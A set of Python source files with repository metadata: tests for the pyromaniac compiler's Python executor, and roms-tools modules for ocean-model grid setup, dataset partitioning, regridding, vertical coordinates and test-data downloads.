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test_python.py
salatfreak_pyromaniac/tests/compiler/code/test_python.py
from unittest import TestCase from pyromaniac.compiler.code.errors import ( PythonSyntaxError, PythonRuntimeError ) from pyromaniac.compiler.code.python import Python def execute( code: str, context: dict | None = None, pure: bool = False, ) -> dict: context = context or {} Python.create(code, pure).execute(context) return context class TestPython(TestCase): def test_empty(self): self.assertEqual(execute(""), {}) def test_function(self): code = "def foo(): return 42\nnum = foo()" self.assertEqual(execute(code)["num"], 42) def test_pure(self): ctx = {"a": 42, "b": 69} self.assertEqual(execute("a + b", ctx, True)["result"], 42 + 69) def test_syntax_error(self): self.assertRaisesPythonSyntax("if for: true") def test_invalid_pure(self): self.assertRaisesPythonSyntax("", True) self.assertRaisesPythonSyntax("if True: 'hello'", True) self.assertRaisesPythonSyntax("num = 42", True) def test_runtime_error(self): self.assertRaisesPythonRuntime("42 + '69'") self.assertRaisesPythonRuntime("raise ValueError()") def test_error_pass_through(self): rte = PythonRuntimeError() raised = self.assertRaisesPythonRuntime("raise e", {"e": rte}) self.assertIs(rte, raised) def assertRaisesPythonSyntax(self, code: str, pure: bool = False): with self.assertRaises(PythonSyntaxError): Python.create(code, pure) def assertRaisesPythonRuntime( self, code: str, context: dict = None, pure: bool = False, ) -> Exception: with self.assertRaises(PythonRuntimeError) as e: execute(code, context, pure) return e.exception
1,745
Python
.pyt
42
34.833333
72
0.668244
salatfreak/pyromaniac
8
1
0
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,701
conftest.py
CWorthy-ocean_roms-tools/conftest.py
import pytest from datetime import datetime from roms_tools import ( Grid, TidalForcing, InitialConditions, BoundaryForcing, SurfaceForcing, ) from roms_tools.setup.download import download_test_data import hashlib def pytest_addoption(parser): parser.addoption( "--overwrite", action="append", default=[], help="Specify which fixtures to overwrite. Use 'all' to overwrite all fixtures.", ) parser.addoption( "--use_dask", action="store_true", default=False, help="Run tests with Dask" ) def pytest_configure(config): if "all" in config.getoption("--overwrite"): # If 'all' is specified, overwrite everything config.option.overwrite = ["all"] @pytest.fixture(scope="session") def use_dask(request): return request.config.getoption("--use_dask") @pytest.fixture(scope="session") def grid(): grid = Grid(nx=1, ny=1, size_x=100, size_y=100, center_lon=-20, center_lat=0, rot=0) return grid @pytest.fixture(scope="session") def grid_that_straddles_dateline(): grid = Grid(nx=1, ny=1, size_x=100, size_y=100, center_lon=0, center_lat=0, rot=20) return grid @pytest.fixture(scope="session") def tidal_forcing(request, use_dask): grid = Grid( nx=3, ny=3, size_x=1500, size_y=1500, center_lon=235, center_lat=25, rot=-20 ) fname = download_test_data("TPXO_regional_test_data.nc") return TidalForcing( grid=grid, source={"name": "TPXO", "path": fname}, ntides=1, use_dask=use_dask ) @pytest.fixture(scope="session") def initial_conditions(request, use_dask): """Fixture for creating an InitialConditions object.""" grid = Grid( nx=2, ny=2, size_x=500, size_y=1000, center_lon=0, center_lat=55, rot=10, N=3, # number of vertical levels theta_s=5.0, # surface control parameter theta_b=2.0, # bottom control parameter hc=250.0, # critical depth ) fname = download_test_data("GLORYS_coarse_test_data.nc") return InitialConditions( grid=grid, ini_time=datetime(2021, 6, 29), source={"path": fname, "name": "GLORYS"}, use_dask=use_dask, ) @pytest.fixture(scope="session") def initial_conditions_with_bgc(request, use_dask): """Fixture for creating an InitialConditions object.""" grid = Grid( nx=2, ny=2, size_x=500, size_y=1000, center_lon=0, center_lat=55, rot=10, N=3, # number of vertical levels theta_s=5.0, # surface control parameter theta_b=2.0, # bottom control parameter hc=250.0, # critical depth ) fname = download_test_data("GLORYS_coarse_test_data.nc") fname_bgc = download_test_data("CESM_regional_test_data_one_time_slice.nc") return InitialConditions( grid=grid, ini_time=datetime(2021, 6, 29), source={"path": fname, "name": "GLORYS"}, bgc_source={"path": fname_bgc, "name": "CESM_REGRIDDED"}, use_dask=use_dask, ) @pytest.fixture(scope="session") def initial_conditions_with_bgc_from_climatology(request, use_dask): """Fixture for creating an InitialConditions object.""" grid = Grid( nx=2, ny=2, size_x=500, size_y=1000, center_lon=0, center_lat=55, rot=10, N=3, # number of vertical levels theta_s=5.0, # surface control parameter theta_b=2.0, # bottom control parameter hc=250.0, # critical depth ) fname = download_test_data("GLORYS_coarse_test_data.nc") fname_bgc = download_test_data("CESM_regional_test_data_climatology.nc") return InitialConditions( grid=grid, ini_time=datetime(2021, 6, 29), source={"path": fname, "name": "GLORYS"}, bgc_source={ "path": fname_bgc, "name": "CESM_REGRIDDED", "climatology": True, }, use_dask=use_dask, ) @pytest.fixture(scope="session") def boundary_forcing(request, use_dask): """Fixture for creating a BoundaryForcing object.""" grid = Grid( nx=2, ny=2, size_x=500, size_y=1000, center_lon=0, center_lat=55, rot=10, N=3, # number of vertical levels theta_s=5.0, # surface control parameter theta_b=2.0, # bottom control parameter hc=250.0, # critical depth ) fname = download_test_data("GLORYS_coarse_test_data.nc") return BoundaryForcing( grid=grid, start_time=datetime(2021, 6, 29), end_time=datetime(2021, 6, 30), source={"name": "GLORYS", "path": fname}, use_dask=use_dask, ) @pytest.fixture(scope="session") def bgc_boundary_forcing_from_climatology(request, use_dask): """Fixture for creating a BoundaryForcing object.""" grid = Grid( nx=2, ny=2, size_x=500, size_y=1000, center_lon=0, center_lat=55, rot=10, N=3, # number of vertical levels theta_s=5.0, # surface control parameter theta_b=2.0, # bottom control parameter hc=250.0, # critical depth ) fname_bgc = download_test_data("CESM_regional_coarse_test_data_climatology.nc") return BoundaryForcing( grid=grid, start_time=datetime(2021, 6, 29), end_time=datetime(2021, 6, 30), source={"path": fname_bgc, "name": "CESM_REGRIDDED", "climatology": True}, type="bgc", use_dask=use_dask, ) @pytest.fixture(scope="session") def surface_forcing(request, use_dask): """Fixture for creating a SurfaceForcing object.""" grid = Grid( nx=5, ny=5, size_x=1800, size_y=2400, center_lon=180, center_lat=61, rot=20, ) start_time = datetime(2020, 1, 31) end_time = datetime(2020, 2, 2) fname = download_test_data("ERA5_global_test_data.nc") return SurfaceForcing( grid=grid, start_time=start_time, end_time=end_time, source={"name": "ERA5", "path": fname}, use_dask=use_dask, ) @pytest.fixture(scope="session") def coarse_surface_forcing(request, use_dask): """Fixture for creating a SurfaceForcing object.""" grid = Grid( nx=5, ny=5, size_x=1800, size_y=2400, center_lon=180, center_lat=61, rot=20, ) start_time = datetime(2020, 1, 31) end_time = datetime(2020, 2, 2) fname = download_test_data("ERA5_global_test_data.nc") return SurfaceForcing( grid=grid, start_time=start_time, end_time=end_time, use_coarse_grid=True, source={"name": "ERA5", "path": fname}, use_dask=use_dask, ) @pytest.fixture(scope="session") def corrected_surface_forcing(request, use_dask): """Fixture for creating a SurfaceForcing object with shortwave radiation correction.""" grid = Grid( nx=5, ny=5, size_x=1800, size_y=2400, center_lon=180, center_lat=61, rot=20, ) start_time = datetime(2020, 1, 31) end_time = datetime(2020, 2, 2) fname = download_test_data("ERA5_global_test_data.nc") return SurfaceForcing( grid=grid, start_time=start_time, end_time=end_time, source={"name": "ERA5", "path": fname}, correct_radiation=True, use_dask=use_dask, ) @pytest.fixture(scope="session") def bgc_surface_forcing(request, use_dask): """Fixture for creating a SurfaceForcing object with BGC.""" grid = Grid( nx=5, ny=5, size_x=1800, size_y=2400, center_lon=180, center_lat=61, rot=20, ) start_time = datetime(2020, 2, 1) end_time = datetime(2020, 2, 1) fname_bgc = download_test_data("CESM_surface_global_test_data.nc") return SurfaceForcing( grid=grid, start_time=start_time, end_time=end_time, source={"name": "CESM_REGRIDDED", "path": fname_bgc}, type="bgc", use_dask=use_dask, ) @pytest.fixture(scope="session") def bgc_surface_forcing_from_climatology(request, use_dask): """Fixture for creating a SurfaceForcing object with BGC from climatology.""" grid = Grid( nx=5, ny=5, size_x=1800, size_y=2400, center_lon=180, center_lat=61, rot=20, ) start_time = datetime(2020, 2, 1) end_time = datetime(2020, 2, 1) fname_bgc = download_test_data("CESM_surface_global_test_data_climatology.nc") return SurfaceForcing( grid=grid, start_time=start_time, end_time=end_time, source={"name": "CESM_REGRIDDED", "path": fname_bgc, "climatology": True}, type="bgc", use_dask=use_dask, ) def calculate_file_hash(filepath, hash_algorithm="sha256"): """Calculate the hash of a file using the specified hash algorithm.""" hash_func = hashlib.new(hash_algorithm) with open(filepath, "rb") as f: for chunk in iter(lambda: f.read(4096), b""): hash_func.update(chunk) return hash_func.hexdigest()
9,313
Python
.py
293
24.8157
89
0.61149
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,702
utils.py
CWorthy-ocean_roms-tools/roms_tools/utils.py
from numbers import Integral import numpy as np import xarray as xr from typing import Union from pathlib import Path def partition( ds: xr.Dataset, np_eta: int = 1, np_xi: int = 1 ) -> tuple[list[int], list[xr.Dataset]]: """Partition a ROMS (Regional Ocean Modeling System) dataset into smaller spatial tiles. This function divides the input dataset into `np_eta` by `np_xi` tiles, where each tile represents a subdomain of the original dataset. The partitioning is performed along the spatial dimensions `eta_rho`, `xi_rho`, `eta_v`, `xi_u`, `eta_psi`, `xi_psi`, `eta_coarse`, and `xi_coarse`, depending on which dimensions are present in the dataset. Parameters ---------- ds : xr.Dataset The input ROMS dataset that is to be partitioned. np_eta : int, optional The number of partitions along the `eta` direction. Must be a positive integer. Default is 1. np_xi : int, optional The number of partitions along the `xi` direction. Must be a positive integer. Default is 1. Returns ------- tuple[list[int], list[xr.Dataset]] A tuple containing two elements: - A list of integers representing the file numbers associated with each partition. - A list of `xarray.Dataset` objects, each representing a partitioned subdomain of the original dataset. Raises ------ ValueError If `np_eta` or `np_xi` is not a positive integer, or if the dataset cannot be evenly partitioned into the specified number of tiles. Example ------- >>> partitioned_file_numbers, partitioned_datasets = partition( ... ds, np_eta=2, np_xi=3 ... ) >>> print(partitioned_file_numbers) [0, 1, 2, 3, 4, 5] >>> print([ds.sizes for ds in partitioned_datasets]) [{'eta_rho': 50, 'xi_rho': 50}, {'eta_rho': 50, 'xi_rho': 50}, ...] This example partitions the dataset into 2 tiles along the `eta` direction and 3 tiles along the `xi` direction, resulting in a total of 6 partitions. """ if ( not isinstance(np_eta, Integral) or np_eta < 1 or not isinstance(np_xi, Integral) or np_xi < 1 ): raise ValueError("np_eta and np_xi must be positive integers") partitionable_dims_maybe_present = [ "eta_rho", "xi_rho", "eta_v", "xi_u", "eta_psi", "xi_psi", "eta_coarse", "xi_coarse", ] dims_to_partition = [d for d in partitionable_dims_maybe_present if d in ds.dims] # if eta is periodic there are no ghost cells along those dimensions if "eta_v" in ds.sizes and ds.sizes["eta_rho"] == ds.sizes["eta_v"]: # TODO how are we supposed to know if eta is periodic if eta_v doesn't appear? partit.F doesn't say... n_eta_ghost_cells = 0 else: n_eta_ghost_cells = 1 # if xi is periodic there are no ghost cells along those dimensions if "xi_u" in ds.sizes and ds.sizes["xi_rho"] == ds.sizes["xi_u"]: n_xi_ghost_cells = 0 else: n_xi_ghost_cells = 1 def integer_division_or_raise(a: int, b: int, dimension: str) -> int: """Perform integer division and ensure that the division is exact. Parameters ---------- a : int The numerator for the division. b : int The denominator for the division. dimension : str The name of the dimension being partitioned, used for error reporting. Returns ------- int The result of the integer division. Raises ------ ValueError If the division is not exact, indicating that the domain cannot be evenly divided along the specified dimension. """ remainder = a % b if remainder == 0: return a // b else: raise ValueError( f"Dimension '{dimension}' of size {a} cannot be evenly divided into {b} partitions." ) if "eta_rho" in dims_to_partition: eta_rho_domain_size = integer_division_or_raise( ds.sizes["eta_rho"] - 2 * n_eta_ghost_cells, np_eta, "eta_rho" ) if "xi_rho" in dims_to_partition: xi_rho_domain_size = integer_division_or_raise( ds.sizes["xi_rho"] - 2 * n_xi_ghost_cells, np_xi, "xi_rho" ) if "eta_v" in dims_to_partition: eta_v_domain_size = integer_division_or_raise( ds.sizes["eta_v"] - 1 * n_eta_ghost_cells, np_eta, "eta_v" ) if "xi_u" in dims_to_partition: xi_u_domain_size = integer_division_or_raise( ds.sizes["xi_u"] - 1 * n_xi_ghost_cells, np_xi, "xi_u" ) if "eta_psi" in dims_to_partition: eta_psi_domain_size = integer_division_or_raise( ds.sizes["eta_psi"] - 3 * n_eta_ghost_cells, np_eta, "eta_psi" ) if "xi_psi" in dims_to_partition: xi_psi_domain_size = integer_division_or_raise( ds.sizes["xi_psi"] - 3 * n_xi_ghost_cells, np_xi, "xi_psi" ) if "eta_coarse" in dims_to_partition: eta_coarse_domain_size = integer_division_or_raise( ds.sizes["eta_coarse"] - 2 * n_eta_ghost_cells, np_eta, "eta_coarse" ) if "xi_coarse" in dims_to_partition: xi_coarse_domain_size = integer_division_or_raise( ds.sizes["xi_coarse"] - 2 * n_xi_ghost_cells, np_xi, "xi_coarse" ) # unpartitioned dimensions should have sizes unchanged partitioned_sizes = { dim: [size] for dim, size in ds.sizes.items() if dim in dims_to_partition } # TODO refactor to use two functions for odd- and even-length dimensions if "eta_v" in dims_to_partition: partitioned_sizes["eta_v"] = [eta_v_domain_size] * (np_eta - 1) + [ eta_v_domain_size + n_eta_ghost_cells ] if "xi_u" in dims_to_partition: partitioned_sizes["xi_u"] = [xi_u_domain_size] * (np_xi - 1) + [ xi_u_domain_size + n_xi_ghost_cells ] if np_eta > 1: partitioned_sizes["eta_rho"] = ( [eta_rho_domain_size + n_eta_ghost_cells] + [eta_rho_domain_size] * (np_eta - 2) + [eta_rho_domain_size + n_eta_ghost_cells] ) if "eta_psi" in dims_to_partition: partitioned_sizes["eta_psi"] = ( [n_eta_ghost_cells + eta_psi_domain_size] + [eta_psi_domain_size] * (np_eta - 2) + [eta_psi_domain_size + 2 * n_eta_ghost_cells] ) if "eta_coarse" in dims_to_partition: partitioned_sizes["eta_coarse"] = ( [eta_coarse_domain_size + n_eta_ghost_cells] + [eta_coarse_domain_size] * (np_eta - 2) + [eta_coarse_domain_size + n_eta_ghost_cells] ) if np_xi > 1: partitioned_sizes["xi_rho"] = ( [xi_rho_domain_size + n_xi_ghost_cells] + [xi_rho_domain_size] * (np_xi - 2) + [xi_rho_domain_size + n_xi_ghost_cells] ) if "xi_psi" in dims_to_partition: partitioned_sizes["xi_psi"] = ( [n_xi_ghost_cells + xi_psi_domain_size] + [xi_psi_domain_size] * (np_xi - 2) + [xi_psi_domain_size + 2 * n_xi_ghost_cells] ) if "xi_coarse" in dims_to_partition: partitioned_sizes["xi_coarse"] = ( [xi_coarse_domain_size + n_xi_ghost_cells] + [xi_coarse_domain_size] * (np_xi - 2) + [xi_coarse_domain_size + n_xi_ghost_cells] ) def cumsum(pmf): """Implementation of cumsum which ensures the result starts with zero.""" cdf = np.empty(len(pmf) + 1, dtype=int) cdf[0] = 0 np.cumsum(pmf, out=cdf[1:]) return cdf file_numbers = [] partitioned_datasets = [] for i in range(np_eta): for j in range(np_xi): file_number = j + (i * np_xi) file_numbers.append(file_number) indexers = {} if "eta_rho" in dims_to_partition: eta_rho_partition_indices = cumsum(partitioned_sizes["eta_rho"]) indexers["eta_rho"] = slice( int(eta_rho_partition_indices[i]), int(eta_rho_partition_indices[i + 1]), ) if "xi_rho" in dims_to_partition: xi_rho_partition_indices = cumsum(partitioned_sizes["xi_rho"]) indexers["xi_rho"] = slice( int(xi_rho_partition_indices[j]), int(xi_rho_partition_indices[j + 1]), ) if "eta_v" in dims_to_partition: eta_v_partition_indices = cumsum(partitioned_sizes["eta_v"]) indexers["eta_v"] = slice( int(eta_v_partition_indices[i]), int(eta_v_partition_indices[i + 1]), ) if "xi_u" in dims_to_partition: xi_u_partition_indices = cumsum(partitioned_sizes["xi_u"]) indexers["xi_u"] = slice( int(xi_u_partition_indices[j]), int(xi_u_partition_indices[j + 1]) ) if "eta_psi" in dims_to_partition: eta_psi_partition_indices = cumsum(partitioned_sizes["eta_psi"]) indexers["eta_psi"] = slice( int(eta_psi_partition_indices[i]), int(eta_psi_partition_indices[i + 1]), ) if "xi_psi" in dims_to_partition: xi_psi_partition_indices = cumsum(partitioned_sizes["xi_psi"]) indexers["xi_psi"] = slice( int(xi_psi_partition_indices[j]), int(xi_psi_partition_indices[j + 1]), ) if "eta_coarse" in dims_to_partition: eta_coarse_partition_indices = cumsum(partitioned_sizes["eta_coarse"]) indexers["eta_coarse"] = slice( int(eta_coarse_partition_indices[i]), int(eta_coarse_partition_indices[i + 1]), ) if "xi_coarse" in dims_to_partition: xi_coarse_partition_indices = cumsum(partitioned_sizes["xi_coarse"]) indexers["xi_coarse"] = slice( int(xi_coarse_partition_indices[j]), int(xi_coarse_partition_indices[j + 1]), ) partitioned_ds = ds.isel(**indexers) partitioned_datasets.append(partitioned_ds) return file_numbers, partitioned_datasets def partition_netcdf( filepath: Union[str, Path], np_eta: int = 1, np_xi: int = 1 ) -> None: """Partition a ROMS NetCDF file into smaller spatial tiles and save them to disk. This function divides the dataset in the specified NetCDF file into `np_eta` by `np_xi` tiles. Each tile is saved as a separate NetCDF file. Parameters ---------- filepath : Union[str, Path] The path to the input NetCDF file. np_eta : int, optional The number of partitions along the `eta` direction. Must be a positive integer. Default is 1. np_xi : int, optional The number of partitions along the `xi` direction. Must be a positive integer. Default is 1. Returns ------- List[Path] A list of Path objects for the filenames that were saved. """ # Ensure filepath is a Path object filepath = Path(filepath) # Open the dataset ds = xr.open_dataset(filepath.with_suffix(".nc")) # Partition the dataset file_numbers, partitioned_datasets = partition(ds, np_eta=np_eta, np_xi=np_xi) # Generate paths to the partitioned files base_filepath = filepath.with_suffix("") paths_to_partitioned_files = [ Path(f"{base_filepath}.{file_number}.nc") for file_number in file_numbers ] # Save the partitioned datasets to files xr.save_mfdataset(partitioned_datasets, paths_to_partitioned_files) return paths_to_partitioned_files
12,105
Python
.py
278
33.510791
116
0.577387
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,703
__init__.py
CWorthy-ocean_roms-tools/roms_tools/__init__.py
from importlib.metadata import version as _version try: __version__ = _version("roms_tools") except ImportError: # pragma: no cover # Local copy or not installed with setuptools __version__ = "999" from roms_tools.setup.grid import Grid # noqa: F401 from roms_tools.setup.tides import TidalForcing # noqa: F401 from roms_tools.setup.surface_forcing import SurfaceForcing # noqa: F401 from roms_tools.setup.initial_conditions import InitialConditions # noqa: F401 from roms_tools.setup.boundary_forcing import BoundaryForcing # noqa: F401
560
Python
.py
11
48.454545
79
0.776147
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,704
regrid.py
CWorthy-ocean_roms-tools/roms_tools/setup/regrid.py
import xarray as xr class LateralRegrid: """Applies lateral fill and regridding to data. This class fills missing values in ocean data and interpolates it onto a new grid defined by the provided longitude and latitude. Parameters ---------- data : DataContainer Container with variables to be interpolated, including a `mask` and dimension names. lon : xarray.DataArray Target longitude coordinates. lat : xarray.DataArray Target latitude coordinates. """ def __init__(self, data, lon, lat): """Initializes the lateral fill and target grid coordinates. Parameters ---------- data : DataContainer Data with dimensions and mask for filling. lon : xarray.DataArray Longitude for new grid. lat : xarray.DataArray Latitude for new grid. """ self.coords = { data.dim_names["latitude"]: lat, data.dim_names["longitude"]: lon, } def apply(self, var): """Fills missing values and regrids the variable. Parameters ---------- var : xarray.DataArray Input data to fill and regrid. Returns ------- xarray.DataArray Regridded data with filled values. """ regridded = var.interp(self.coords, method="linear").drop_vars( list(self.coords.keys()) ) return regridded class VerticalRegrid: """Performs vertical interpolation of data onto new depth coordinates. Parameters ---------- data : DataContainer Container holding the data to be regridded, with relevant dimension names. target_depth : xarray.DataArray Target depth coordinates for interpolation. """ def __init__(self, data, target_depth): """Initializes vertical regridding with specified depth coordinates. Parameters ---------- data : DataContainer Container holding the data to be regridded, with relevant dimension names. target_depth : xarray.DataArray Target depth coordinates for interpolation. """ self.depth_dim = data.dim_names["depth"] dims = {"dim": self.depth_dim} dlev = data.ds[data.dim_names["depth"]] - target_depth is_below = dlev == dlev.where(dlev >= 0).min(**dims) is_above = dlev == dlev.where(dlev <= 0).max(**dims) p_below = dlev.where(is_below).sum(**dims) p_above = -dlev.where(is_above).sum(**dims) denominator = p_below + p_above denominator = denominator.where(denominator > 1e-6, 1e-6) factor = p_below / denominator upper_mask = is_above.sum(**dims) > 0 lower_mask = is_below.sum(**dims) > 0 self.coeff = xr.Dataset( { "is_below": is_below, "is_above": is_above, "upper_mask": upper_mask, "lower_mask": lower_mask, "factor": factor, } ) def apply(self, var, fill_nans=True): """Interpolates the variable onto the new depth grid using precomputed coefficients for linear interpolation between layers. Parameters ---------- var : xarray.DataArray The input data to be regridded along the depth dimension. This should be an array with the same depth coordinates as the original grid. fill_nans : bool, optional Whether to fill NaN values in the regridded data. If True (default), forward-fill and backward-fill are applied along the 's_rho' dimension to ensure there are no NaNs after interpolation. Returns ------- xarray.DataArray The regridded data array, interpolated onto the new depth grid. NaN values are replaced if `fill_nans=True`, with extrapolation allowed at the surface and bottom layers to minimize gaps. """ dims = {"dim": self.depth_dim} var_below = var.where(self.coeff["is_below"]).sum(**dims) var_above = var.where(self.coeff["is_above"]).sum(**dims) result = var_below + (var_above - var_below) * self.coeff["factor"] if fill_nans: result = result.where(self.coeff["upper_mask"], var.isel({dims["dim"]: 0})) result = result.where(self.coeff["lower_mask"], var.isel({dims["dim"]: -1})) else: result = result.where(self.coeff["upper_mask"]).where( self.coeff["lower_mask"] ) return result def _lateral_regrid(data, lon, lat, data_vars, var_names): """Laterally regrid specified variables onto new latitude and longitude coordinates. Parameters ---------- data : Dataset Input data containing the information about source dimensions. lon : xarray.DataArray Target longitude coordinates. lat : xarray.DataArray Target latitude coordinates. data_vars : dict of str : xarray.DataArray Dictionary of variables to regrid. var_names : list of str Names of variables to regrid. Returns ------- dict of str : xarray.DataArray Updated data_vars with regridded variables. """ lateral_regrid = LateralRegrid(data, lon, lat) for var_name in var_names: if var_name in data_vars: data_vars[var_name] = lateral_regrid.apply(data_vars[var_name]) return data_vars def _vertical_regrid(data, target_depth, data_vars, var_names): """Vertically regrid specified variables onto new depth coordinates. Parameters ---------- data : Dataset Input dataset containing the variables and source depth information. target_depth : xarray.DataArray Target depth coordinates for regridding. data_vars : dict of str : xarray.DataArray Dictionary of variables to be regridded. var_names : list of str Names of variables to regrid. Returns ------- dict of str : xarray.DataArray Updated data_vars with variables regridded onto the target depth coordinates. """ vertical_regrid = VerticalRegrid(data, target_depth) for var_name in var_names: if var_name in data_vars: data_vars[var_name] = vertical_regrid.apply(data_vars[var_name]) return data_vars
6,439
Python
.py
160
31.50625
92
0.622336
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,705
vertical_coordinate.py
CWorthy-ocean_roms-tools/roms_tools/setup/vertical_coordinate.py
import numpy as np import xarray as xr def compute_cs(sigma, theta_s, theta_b): """Compute the S-coordinate stretching curves according to Shchepetkin and McWilliams (2009). Parameters ---------- sigma : np.ndarray or float The sigma-coordinate values. theta_s : float The surface control parameter. theta_b : float The bottom control parameter. Returns ------- C : np.ndarray or float The stretching curve values. Raises ------ ValueError If theta_s or theta_b are not within the valid range. """ if not (0 < theta_s <= 10): raise ValueError("theta_s must be between 0 and 10.") if not (0 < theta_b <= 4): raise ValueError("theta_b must be between 0 and 4.") C = (1 - np.cosh(theta_s * sigma)) / (np.cosh(theta_s) - 1) C = (np.exp(theta_b * C) - 1) / (1 - np.exp(-theta_b)) return C def sigma_stretch(theta_s, theta_b, N, type): """Compute sigma and stretching curves based on the type and parameters. Parameters ---------- theta_s : float The surface control parameter. theta_b : float The bottom control parameter. N : int The number of vertical levels. type : str The type of sigma ('w' for vertical velocity points, 'r' for rho-points). Returns ------- cs : xr.DataArray The stretching curve values. sigma : xr.DataArray The sigma-coordinate values. Raises ------ ValueError If the type is not 'w' or 'r'. """ if type == "w": k = xr.DataArray(np.arange(N + 1), dims="s_w") sigma = (k - N) / N elif type == "r": k = xr.DataArray(np.arange(1, N + 1), dims="s_rho") sigma = (k - N - 0.5) / N else: raise ValueError( "Type must be either 'w' for vertical velocity points or 'r' for rho-points." ) cs = compute_cs(sigma, theta_s, theta_b) return cs, sigma def compute_depth(zeta, h, hc, cs, sigma): """Compute the depth at different sigma levels. Parameters ---------- zeta : xr.DataArray The sea surface height. h : xr.DataArray The depth of the sea bottom. hc : float The critical depth. cs : xr.DataArray The stretching curve values. sigma : xr.DataArray The sigma-coordinate values. Returns ------- z : xr.DataArray The depth at different sigma levels. Raises ------ ValueError If theta_s or theta_b are less than or equal to zero. """ # Expand dimensions sigma = sigma.expand_dims(dim={"eta_rho": h.eta_rho, "xi_rho": h.xi_rho}) cs = cs.expand_dims(dim={"eta_rho": h.eta_rho, "xi_rho": h.xi_rho}) s = (hc * sigma + h * cs) / (hc + h) z = zeta + (zeta + h) * s if "s_rho" in z.dims: z = z.transpose("s_rho", "eta_rho", "xi_rho") elif "s_w" in z.dims: z = z.transpose("s_w", "eta_rho", "xi_rho") return z
3,023
Python
.py
97
24.85567
89
0.582501
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,706
download.py
CWorthy-ocean_roms-tools/roms_tools/setup/download.py
import pooch import xarray as xr # Create a Pooch object to manage the global topography data topo_data = pooch.create( # Use the default cache folder for the operating system path=pooch.os_cache("roms-tools"), base_url="https://github.com/CWorthy-ocean/roms-tools-data/raw/main/", # The registry specifies the files that can be fetched registry={ "etopo5.nc": "sha256:23600e422d59bbf7c3666090166a0d468c8ee16092f4f14e32c4e928fbcd627b", }, ) # Create a Pooch object to manage the global SWR correction data correction_data = pooch.create( # Use the default cache folder for the operating system path=pooch.os_cache("roms-tools"), base_url="https://github.com/CWorthy-ocean/roms-tools-data/raw/main/", # The registry specifies the files that can be fetched registry={ "etopo5.nc": "sha256:23600e422d59bbf7c3666090166a0d468c8ee16092f4f14e32c4e928fbcd627b", "SSR_correction.nc": "sha256:a170c1698e6cc2765b3f0bb51a18c6a979bc796ac3a4c014585aeede1f1f8ea0", }, ) # Create a Pooch object to manage the test data pup_test_data = pooch.create( # Use the default cache folder for the operating system path=pooch.os_cache("roms-tools"), base_url="https://github.com/CWorthy-ocean/roms-tools-test-data/raw/main/", # The registry specifies the files that can be fetched registry={ "GLORYS_test_data.nc": "648f88ec29c433bcf65f257c1fb9497bd3d5d3880640186336b10ed54f7129d2", "GLORYS_coarse_test_data.nc": "ed14ca6aa72810e2472e6ee21c59e5e38f59cd6eb39c14ff6a01ccba05d11d48", "GLORYS_NA_2012.nc": "b862add892f5d6e0d670c8f7fa698f4af5290ac87077ca812a6795e120d0ca8c", "GLORYS_NA_20120101.nc": "647a6a3227efff8520aedc757ecb591376464b41494ed3bb5d119700e98bba29", "GLORYS_NA_20121231.nc": "03c1155087195deff76ad3f136d6a7f35bc01ccae3402f3d95557a2886d39e71", "ERA5_regional_test_data.nc": "bd12ce3b562fbea2a80a3b79ba74c724294043c28dc98ae092ad816d74eac794", "ERA5_global_test_data.nc": "8ed177ab64c02caf509b9fb121cf6713f286cc603b1f302f15f3f4eb0c21dc4f", "TPXO_global_test_data.nc": "457bfe87a7b247ec6e04e3c7d3e741ccf223020c41593f8ae33a14f2b5255e60", "TPXO_regional_test_data.nc": "11739245e2286d9c9d342dce5221e6435d2072b50028bef2e86a30287b3b4032", "CESM_BGC_2012.nc": "e374d5df3c1be742d564fd26fd861c2d40af73be50a432c51d258171d5638eb6", "CESM_regional_test_data_one_time_slice.nc": "43b578ecc067c85f95d6b97ed7b9dc8da7846f07c95331c6ba7f4a3161036a17", "CESM_regional_test_data_climatology.nc": "986a200029d9478fd43e6e4a8bc43e8a8f4407554893c59b5fcc2e86fd203272", "CESM_regional_coarse_test_data_climatology.nc": "5cde5f968fba7900b6ff5bcf135126b5e25185fc3bd842bf66052cc2a6197d81", "CESM_BGC_SURFACE_2012.nc": "3c4d156adca97909d0fac36bf50b99583ab37d8020d7a3e8511e92abf2331b38", "CESM_surface_global_test_data_climatology.nc": "a072757110c6f7b716a98f867688ef4195a5966741d2f368201ac24617254e35", "CESM_surface_global_test_data.nc": "874106ffbc8b1b220db09df1551bbb89d22439d795b4d1e5a24ee775e9a7bf6e", "grid_created_with_matlab.nc": "fd537ef8159fabb18e38495ec8d44e2fa1b7fb615fcb1417dd4c0e1bb5f4e41d", }, ) def fetch_topo(topography_source: str) -> xr.Dataset: """Load the global topography data as an xarray Dataset. Parameters ---------- topography_source : str The source of the topography data to be loaded. Available options: - "ETOPO5" Returns ------- xr.Dataset The global topography data as an xarray Dataset. """ # Mapping from user-specified topography options to corresponding filenames in the registry topo_dict = {"ETOPO5": "etopo5.nc"} # Fetch the file using Pooch, downloading if necessary fname = topo_data.fetch(topo_dict[topography_source]) # Load the dataset using xarray and return it ds = xr.open_dataset(fname) return ds def download_correction_data(filename: str) -> str: """Download the correction data file. Parameters ---------- filename : str The name of the test data file to be downloaded. Available options: - "SSR_correction.nc" Returns ------- str The path to the downloaded test data file. """ # Fetch the file using Pooch, downloading if necessary fname = correction_data.fetch(filename) return fname def download_test_data(filename: str) -> str: """Download the test data file. Parameters ---------- filename : str The name of the test data file to be downloaded. Available options: - "GLORYS_test_data.nc" - "ERA5_regional_test_data.nc" - "ERA5_global_test_data.nc" - "TPXO_global_test_data.nc" - "TPXO_regional_test_data.nc" - "CESM_regional_test_data_one_time_slice.nc" - "CESM_regional_test_data_climatology.nc" Returns ------- str The path to the downloaded test data file. """ # Fetch the file using Pooch, downloading if necessary fname = pup_test_data.fetch(filename) return fname
5,102
Python
.py
104
43.067308
124
0.739506
CWorthy-ocean/roms-tools
8
3
22
GPL-3.0
9/5/2024, 10:47:52 PM (Europe/Amsterdam)
2,285,707
datasets.py
